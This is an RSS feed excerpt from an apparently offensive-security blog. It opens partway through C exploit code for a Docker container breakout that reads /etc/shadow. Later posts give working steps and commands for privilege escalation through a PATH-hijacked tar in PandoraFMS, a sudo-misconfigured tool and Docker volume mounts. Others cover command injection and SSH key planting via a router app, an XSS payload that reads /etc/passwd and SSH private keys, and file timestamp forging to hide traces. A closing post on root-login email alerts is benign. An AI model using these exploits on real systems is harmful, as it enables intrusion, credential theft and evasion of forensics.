0;</span><br><span style="white-space: pre-wrap;">}</span><br><br><br><span style="white-space: pre-wrap;">int main()</span><br><span style="white-space: pre-wrap;">{</span><br><span style="white-space: pre-wrap;">char buf[0x1000];</span><br><span style="white-space: pre-wrap;">int fd1, fd2;</span><br><span style="white-space: pre-wrap;">struct my_file_handle h;</span><br><span style="white-space: pre-wrap;">struct my_file_handle root_h = {</span><br><span style="white-space: pre-wrap;">.handle_bytes = 8,</span><br><span style="white-space: pre-wrap;">.handle_type = 1,</span><br><span style="white-space: pre-wrap;">.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}</span><br><span style="white-space: pre-wrap;">};</span><br><br><span style="white-space: pre-wrap;">fprintf(stderr, &quot;[***] docker VMM-container breakout Po(C) 2014 [***]\n&quot;</span><br><span style="white-space: pre-wrap;"> &quot;[***] The tea from the 90&apos;s kicks your sekurity again. [***]\n&quot;</span><br><span style="white-space: pre-wrap;"> &quot;[***] If you have pending sec consulting, I&apos;ll happily [***]\n&quot;</span><br><span style="white-space: pre-wrap;"> &quot;[***] forward to my friends who drink secury-tea too! [***]\n\n&lt;enter&gt;\n&quot;);</span><br><br><span style="white-space: pre-wrap;">read(0, buf, 1);</span><br><br><span style="white-space: pre-wrap;">// get a FS reference from something mounted in from outside</span><br><span style="white-space: pre-wrap;">if ((fd1 = open(&quot;/.dockerinit&quot;, O_RDONLY)) &lt; 0)</span><br><span style="white-space: pre-wrap;">die(&quot;[-] open&quot;);</span><br><br><span style="white-space: pre-wrap;">if (find_handle(fd1, &quot;/etc/shadow&quot;, &amp;root_h, &amp;h) &lt;= 0)</span><br><span style="white-space: pre-wrap;">die(&quot;[-] Cannot find valid handle!&quot;);</span><br><br><span style="white-space: pre-wrap;">fprintf(stderr, &quot;[!] Got a final handle!\n&quot;);</span><br><span style="white-space: pre-wrap;">dump_handle(&amp;h);</span><br><br><span style="white-space: pre-wrap;">if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&amp;h, O_RDONLY)) &lt; 0)</span><br><span style="white-space: pre-wrap;">die(&quot;[-] open_by_handle&quot;);</span><br><br><span style="white-space: pre-wrap;">memset(buf, 0, sizeof(buf));</span><br><span style="white-space: pre-wrap;">if (read(fd2, buf, sizeof(buf) - 1) &lt; 0)</span><br><span style="white-space: pre-wrap;">die(&quot;[-] read&quot;);</span><br><br><span style="white-space: pre-wrap;">fprintf(stderr, &quot;[!] Win! /etc/shadow output follows:\n%s\n&quot;, buf);</span><br><br><span style="white-space: pre-wrap;">close(fd2); close(fd1);</span><br><br><span style="white-space: pre-wrap;">return 0;</span><br><span style="white-space: pre-wrap;">}</span><br><br><br></p></div>
        </div><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/8-1-1.jpg" class="kg-image" alt loading="lazy" width="532" height="411"><figcaption><span style="white-space: pre-wrap;">compile it locally and upload it</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/9-2.jpg" class="kg-image" alt loading="lazy" width="733" height="800" srcset="https://1337.ae/content/images/size/w600/2024/06/9-2.jpg 600w, https://1337.ae/content/images/2024/06/9-2.jpg 733w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">and yea we got the root ~!</span></figcaption></figure><p></p><figure class="kg-card kg-bookmark-card kg-card-hascaption"><a class="kg-bookmark-container" href="https://rocket.chat/?ref=1337.ae"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Rocket.Chat: Communications Platform You Can Fully Trust</div><div class="kg-bookmark-description">Explore Rocket.Chat, where we put data privacy into every conversation and enable teams to collaborate seamlessly.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://cdn.prod.website-files.com/611a19b9853b7414a0f6b3f6/6132017c7a979557454a1bf2_favicon%2032px.png" alt></div></div><div class="kg-bookmark-thumbnail"><img src="https://cdn.prod.website-files.com/611a19b9853b7414a0f6b3f6/617064b93b5df6410cfc6b55_Home.png" alt></div></a><figcaption><p><span style="white-space: pre-wrap;">website</span></p></figcaption></figure><p></p>]]></content:encoded></item><item><title><![CDATA[PandoraFMS Backup Utility]]></title><description><![CDATA[reading the backup script it shows that depends on tar, so i created my own tar and changed the path to gain my root access !]]></description><link>https://1337.ae/pandorafms-backup-utility/</link><guid isPermaLink="false">66702d307f806008a08e3763</guid><category><![CDATA[privilages escalation]]></category><category><![CDATA[pandorafms]]></category><category><![CDATA[backup]]></category><dc:creator><![CDATA[1337]]></dc:creator><pubDate>Mon, 17 Jun 2024 12:36:37 GMT</pubDate><content:encoded><![CDATA[<hr><p></p><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/1-1.jpg" class="kg-image" alt loading="lazy" width="379" height="90"><figcaption><span style="white-space: pre-wrap;">/usr/bin/pandora_backup</span></figcaption></figure><blockquote>reading the backup script it shows that depends on tar, so i created my own tar and changed the path</blockquote><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/2-2-2.jpg" class="kg-image" alt loading="lazy" width="476" height="162"><figcaption><b><strong style="white-space: pre-wrap;">rooted !&#xA0;</strong></b></figcaption></figure><figure class="kg-card kg-bookmark-card kg-card-hascaption"><a class="kg-bookmark-container" href="https://pandorafms.com/en/?ref=1337.ae"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Pandora FMS | The flexible monitoring solution</div><div class="kg-bookmark-description">The all-in-one flexible monitoring solution that covers networks, servers, applications, UX, distributed environments and more!</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://pandorafms.com/wp-content/uploads/2021/12/cropped-favicon-512-270x270.png" alt><span class="kg-bookmark-author">Pandora FMS</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://pandorafms.com/en/social-image.jpg/" alt></div></a><figcaption><p><span style="white-space: pre-wrap;">Website</span></p></figcaption></figure>]]></content:encoded></item><item><title><![CDATA[router Apk and get ssh access over host]]></title><description><![CDATA[injection local ssh key via apk and LD Player to Host Server]]></description><link>https://1337.ae/router-apk-and-get-ssh-access-over-host/</link><guid isPermaLink="false">6670209ed60e1f7f0fb0532b</guid><category><![CDATA[APK]]></category><category><![CDATA[secure ssh]]></category><dc:creator><![CDATA[1337]]></dc:creator><pubDate>Mon, 17 Jun 2024 11:44:51 GMT</pubDate><content:encoded><![CDATA[<hr><p></p><blockquote>downloaded a router online config apk , run it on LD Player and activated burp suite .</blockquote><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/1.jpg" class="kg-image" alt loading="lazy" width="404" height="685"><figcaption><span style="white-space: pre-wrap;">downloaded a router online config apk , run it on LD Player and activated burp suite .</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/2-1-1.jpg" class="kg-image" alt loading="lazy" width="772" height="617" srcset="https://1337.ae/content/images/size/w600/2024/06/2-1-1.jpg 600w, https://1337.ae/content/images/2024/06/2-1-1.jpg 772w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">checking the request and sending it to repeater .</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/3.jpg" class="kg-image" alt loading="lazy" width="1208" height="642" srcset="https://1337.ae/content/images/size/w600/2024/06/3.jpg 600w, https://1337.ae/content/images/size/w1000/2024/06/3.jpg 1000w, https://1337.ae/content/images/2024/06/3.jpg 1208w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">response got a filter &quot;0.0.0.0\n&quot;</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/4.jpg" class="kg-image" alt loading="lazy" width="1394" height="607" srcset="https://1337.ae/content/images/size/w600/2024/06/4.jpg 600w, https://1337.ae/content/images/size/w1000/2024/06/4.jpg 1000w, https://1337.ae/content/images/2024/06/4.jpg 1394w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">changed a bit in it and play again and i was able to remote command !&#xA0;</span></figcaption></figure><blockquote> i was thinking to get reverse shell and all failed ( i guess due to iptables )</blockquote><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/5.jpg" class="kg-image" alt loading="lazy" width="1040" height="126" srcset="https://1337.ae/content/images/size/w600/2024/06/5.jpg 600w, https://1337.ae/content/images/size/w1000/2024/06/5.jpg 1000w, https://1337.ae/content/images/2024/06/5.jpg 1040w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Got my attention ...</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/6.jpg" class="kg-image" alt loading="lazy" width="573" height="651"><figcaption><span style="white-space: pre-wrap;">did my key (ssh-keygen) locally and decided to inject it !</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/7.jpg" class="kg-image" alt loading="lazy" width="1114" height="403" srcset="https://1337.ae/content/images/size/w600/2024/06/7.jpg 600w, https://1337.ae/content/images/size/w1000/2024/06/7.jpg 1000w, https://1337.ae/content/images/2024/06/7.jpg 1114w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Injecting..</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/8-1.jpg" class="kg-image" alt loading="lazy" width="948" height="721" srcset="https://1337.ae/content/images/size/w600/2024/06/8-1.jpg 600w, https://1337.ae/content/images/2024/06/8-1.jpg 948w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Volla!</span></figcaption></figure>]]></content:encoded></item><item><title><![CDATA[treport Misconfigure]]></title><description><![CDATA[read any file, misconfiguration can led to root too..]]></description><link>https://1337.ae/treport-misconfigure/</link><guid isPermaLink="false">66701ffed60e1f7f0fb05310</guid><category><![CDATA[treport]]></category><category><![CDATA[root]]></category><category><![CDATA[read]]></category><dc:creator><![CDATA[1337]]></dc:creator><pubDate>Mon, 17 Jun 2024 11:39:44 GMT</pubDate><content:encoded><![CDATA[<hr><p><mark>read any file, misconfiguration can led to root too..</mark></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/1-2-2.png" class="kg-image" alt loading="lazy" width="1093" height="110" srcset="https://1337.ae/content/images/size/w600/2024/06/1-2-2.png 600w, https://1337.ae/content/images/size/w1000/2024/06/1-2-2.png 1000w, https://1337.ae/content/images/2024/06/1-2-2.png 1093w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">sudo -l shows that treport got root priv</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/2-2.jpg" class="kg-image" alt loading="lazy" width="284" height="126"><figcaption><b><strong style="white-space: pre-wrap;">using option 3 (Download Threat Report</strong></b><span style="white-space: pre-wrap;">)</span></figcaption></figure><pre><code class="language-bash">File:///etc/shadow
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/lpI4YP-6.jpg" class="kg-image" alt loading="lazy" width="1202" height="444" srcset="https://1337.ae/content/images/size/w600/2024/06/lpI4YP-6.jpg 600w, https://1337.ae/content/images/size/w1000/2024/06/lpI4YP-6.jpg 1000w, https://1337.ae/content/images/2024/06/lpI4YP-6.jpg 1202w" sizes="(min-width: 720px) 720px"><figcaption><b><strong style="white-space: pre-wrap;">Then reading it with option 2 (Read Threat Report)</strong></b></figcaption></figure>]]></content:encoded></item><item><title><![CDATA[Docker Engine privilages escalation]]></title><description><![CDATA[If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

]]></description><link>https://1337.ae/docker-engine-privilages-escalation/</link><guid isPermaLink="false">66701cbdd60e1f7f0fb052cf</guid><category><![CDATA[privilages escalation]]></category><category><![CDATA[Docker]]></category><category><![CDATA[expliot]]></category><dc:creator><![CDATA[1337]]></dc:creator><pubDate>Mon, 17 Jun 2024 11:28:20 GMT</pubDate><content:encoded><![CDATA[<hr><p></p><p></p><p>looking into docker normal usage as example </p><figure class="kg-card kg-code-card"><pre><code class="language-Docker">docker run hello-world
</code></pre><figcaption><p><span style="white-space: pre-wrap;">This command downloads a test image and runs it in a container. When the container runs, it prints an informational message and exits.</span></p></figcaption></figure><p><strong>we got the priv</strong></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/1-1.png" class="kg-image" alt loading="lazy" width="1027" height="568" srcset="https://1337.ae/content/images/size/w600/2024/06/1-1.png 600w, https://1337.ae/content/images/size/w1000/2024/06/1-1.png 1000w, https://1337.ae/content/images/2024/06/1-1.png 1027w" sizes="(min-width: 720px) 720px"><figcaption><b><strong style="white-space: pre-wrap;">&#xA0;to execute it &#x2026;</strong></b></figcaption></figure><figure class="kg-card kg-code-card"><pre><code>docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
</code></pre><figcaption><p><span style="white-space: pre-wrap;">Parameter -v will create volume in docker instance , Parameter -it makes docker in shell mode instead of daemon process.</span></p></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/2-1--1-.png" class="kg-image" alt loading="lazy" width="816" height="514" srcset="https://1337.ae/content/images/size/w600/2024/06/2-1--1-.png 600w, https://1337.ae/content/images/2024/06/2-1--1-.png 816w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">and we are root !</span></figcaption></figure><p>Infected Version :</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://docs.docker.com/engine/install/linux-postinstall/?ref=1337.ae"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Linux post-installation steps for Docker Engine</div><div class="kg-bookmark-description">Find the recommended Docker Engine post-installation steps for Linux users, including how to run Docker as a non-root user and more.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://docs.docker.com/favicons/docs@2x.ico" alt><span class="kg-bookmark-author">Docker Documentation</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://docs.docker.com/assets/images/thumbnail.webp" alt></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://gtfobins.github.io/gtfobins/docker/?ref=1337.ae"><div class="kg-bookmark-content"><div class="kg-bookmark-title">docker | GTFOBins</div><div class="kg-bookmark-description"></div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://gtfobins.github.io/assets/logo.png" alt><span class="kg-bookmark-author">GTFOBins</span></div></div></a></figure>]]></content:encoded></item><item><title><![CDATA[XSS Attack To SSH]]></title><description><![CDATA[LOCAL FILE READ VIA XSS IN DYNAMICALLY GENERATED PDF
]]></description><link>https://1337.ae/xss-attack-to-ssh/</link><guid isPermaLink="false">66701aa5d60e1f7f0fb052a3</guid><category><![CDATA[xss]]></category><category><![CDATA[secure ssh]]></category><category><![CDATA[pdf]]></category><category><![CDATA[p0c]]></category><dc:creator><![CDATA[1337]]></dc:creator><pubDate>Mon, 17 Jun 2024 11:23:09 GMT</pubDate><content:encoded><![CDATA[<hr><p></p><p>Admin Panel infected with XSS and uploading any file converted to pdf.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/1.png" class="kg-image" alt loading="lazy" width="453" height="241"><figcaption><span style="white-space: pre-wrap;">Submit the below Js code </span></figcaption></figure><figure class="kg-card kg-code-card"><pre><code class="language-js">&lt;script&gt; 
x=new XMLHttpRequest; 
x.onload=function()
{ document.write(this.responseText) };
 x.open(&quot;GET&quot;,&quot;file:///etc/passwd&quot;); x.send();
&lt;/script&gt;
</code></pre><figcaption><p><span style="white-space: pre-wrap;">P0c</span></p></figcaption></figure><p><strong>Next Download the pdf :</strong></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/2.png" class="kg-image" alt loading="lazy" width="833" height="305" srcset="https://1337.ae/content/images/size/w600/2024/06/2.png 600w, https://1337.ae/content/images/2024/06/2.png 833w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Download the Generated PDF from Admin Panel</span></figcaption></figure><p>was able to read and load /etc/passwd, lets try to read something more interesting </p><pre><code class="language-bash">/home/user/.ssh/rsa_id

</code></pre><p>result in :</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/3.png" class="kg-image" alt loading="lazy" width="1179" height="735" srcset="https://1337.ae/content/images/size/w600/2024/06/3.png 600w, https://1337.ae/content/images/size/w1000/2024/06/3.png 1000w, https://1337.ae/content/images/2024/06/3.png 1179w" sizes="(min-width: 720px) 720px"><figcaption><b><strong style="white-space: pre-wrap;">rsa_id Loaded</strong></b></figcaption></figure><p>Making local id_rsa and chmod it 700.. was able to gain ssh access </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/4-1.png" class="kg-image" alt loading="lazy" width="943" height="558" srcset="https://1337.ae/content/images/size/w600/2024/06/4-1.png 600w, https://1337.ae/content/images/2024/06/4-1.png 943w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">SSH Active Connection</span></figcaption></figure><p>Inspired from :</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html?ref=1337.ae"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Local File Read via XSS in Dynamically Generated PDF</div><div class="kg-bookmark-description">REDIRECTING TO THE NEW BLOG ... Hello Hunters, This time I am writing about a Vulnerability found in another&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://www.noob.ninja/favicon.ico" alt><span class="kg-bookmark-author">Blogger</span><span class="kg-bookmark-publisher">Rahul Maini</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7VodlIxskfhxs_IAhV5gn-pKxLSR8ExxXjeCIKQKBuXBJz7rBE-8VVVhq-2C0xTrUyifVnznfyaRkXYtIaYx62sPPSpRbcklCXmOBczGIzAAqIkJybxBTle-4GIzY2JQLchOts8xNCA5J/w1200-h630-p-k-no-nu/Screenshot+from+2017-11-08+14-29-18.png" alt></div></a></figure>]]></content:encoded></item><item><title><![CDATA[Modify the timestamp of files]]></title><description><![CDATA[<hr><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/Linux-File-Timestamps-atime-mtime-ctime-1.webp" class="kg-image" alt loading="lazy" width="1200" height="800" srcset="https://1337.ae/content/images/size/w600/2024/06/Linux-File-Timestamps-atime-mtime-ctime-1.webp 600w, https://1337.ae/content/images/size/w1000/2024/06/Linux-File-Timestamps-atime-mtime-ctime-1.webp 1000w, https://1337.ae/content/images/2024/06/Linux-File-Timestamps-atime-mtime-ctime-1.webp 1200w" sizes="(min-width: 720px) 720px"><figcaption><b><strong style="white-space: pre-wrap;">The &#x201C;-t&#x201D; option modifies the time stamp of the file</strong></b><span style="white-space: pre-wrap;">&#xA0;and the format is YYYYMMDDHHMM. The time stamp is changed to current system date and time after touch command is run with &#x2018;-m&#x2019; option.as example if we got a file called tcp.php</span></figcaption></figure><p><strong>executing</strong></p>]]></description><link>https://1337.ae/modify-the-timestamp-of-files/</link><guid isPermaLink="false">6670185bd60e1f7f0fb05267</guid><dc:creator><![CDATA[1337]]></dc:creator><pubDate>Mon, 17 Jun 2024 11:07:21 GMT</pubDate><content:encoded><![CDATA[<hr><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://1337.ae/content/images/2024/06/Linux-File-Timestamps-atime-mtime-ctime-1.webp" class="kg-image" alt loading="lazy" width="1200" height="800" srcset="https://1337.ae/content/images/size/w600/2024/06/Linux-File-Timestamps-atime-mtime-ctime-1.webp 600w, https://1337.ae/content/images/size/w1000/2024/06/Linux-File-Timestamps-atime-mtime-ctime-1.webp 1000w, https://1337.ae/content/images/2024/06/Linux-File-Timestamps-atime-mtime-ctime-1.webp 1200w" sizes="(min-width: 720px) 720px"><figcaption><b><strong style="white-space: pre-wrap;">The &#x201C;-t&#x201D; option modifies the time stamp of the file</strong></b><span style="white-space: pre-wrap;">&#xA0;and the format is YYYYMMDDHHMM. The time stamp is changed to current system date and time after touch command is run with &#x2018;-m&#x2019; option.as example if we got a file called tcp.php</span></figcaption></figure><p><strong>executing the command</strong></p>
<!--kg-card-begin: html-->
<pre><code class="language-plaintext">$ stat tcp.php
</code></pre>
<!--kg-card-end: html-->
<p><strong>result</strong></p>
<!--kg-card-begin: html-->
<pre><code class="language-plaintext">Access: 2022-7-6 21:58:21 
Modify: 2022-7-6 21:58:21
</code></pre>
<!--kg-card-end: html-->
<p><strong>then :</strong></p>
<!--kg-card-begin: html-->
<pre><code class="language-plaintext">touch -a -m -t 19770707 index.php
</code></pre>
<!--kg-card-end: html-->
<p><strong>will change timestamp to 07/07/1977 to touch a file with specific time :</strong></p>
<!--kg-card-begin: html-->
<pre><code class="language-plaintext">$ touch -d &quot;1977-07-07 12:12:12&quot; tcp.php
</code></pre>
<!--kg-card-end: html-->
<p><strong>additionally we can copy other file timestamp by using this command:</strong></p>
<!--kg-card-begin: html-->
<pre><code class="language-plaintext">$ touch a.php -r b.php
</code></pre>
<!--kg-card-end: html-->
]]></content:encoded></item><item><title><![CDATA[Server Sends Email Alert on Root Login]]></title><description><![CDATA[Get Notified when root login occur by email]]></description><link>https://1337.ae/server-sends-email-alert-on-root-login/</link><guid isPermaLink="false">66701586c148bb4af5e50a29</guid><category><![CDATA[Email Alert]]></category><category><![CDATA[root]]></category><category><![CDATA[secure ssh]]></category><category><![CDATA[ssh]]></category><category><![CDATA[linux]]></category><category><![CDATA[server]]></category><dc:creator><![CDATA[1337]]></dc:creator><pubDate>Mon, 17 Jun 2024 10:59:10 GMT</pubDate><content:encoded><![CDATA[<hr><figure class="kg-card kg-code-card"><pre><code class="language-bash">Edit /root/.bash_profile</code></pre><figcaption><p><span style="white-space: pre-wrap;">echo &apos;Root Shell Access on:&apos; </span><code spellcheck="false" style="white-space: pre-wrap;"><span>date</span></code> <code spellcheck="false" style="white-space: pre-wrap;"><span>who</span></code><span style="white-space: pre-wrap;"> | mail -s &quot;Alert: Root Access from </span><code spellcheck="false" style="white-space: pre-wrap;"><span>who | cut -d&quot;(&quot; -f2 | cut -d&quot;)&quot; -f1</span></code><span style="white-space: pre-wrap;">&quot; </span><a href><span style="white-space: pre-wrap;">xxx@xxx.com</span></a><span style="white-space: pre-wrap;"> every root login you will receive something like this ALERT - Root Shell Access on: Wed JUL 7 09:30:10 2016 root pts/0 Jul 7 09:30 (109.177.xxx.xx)</span></p></figcaption></figure>]]></content:encoded></item></channel></rss>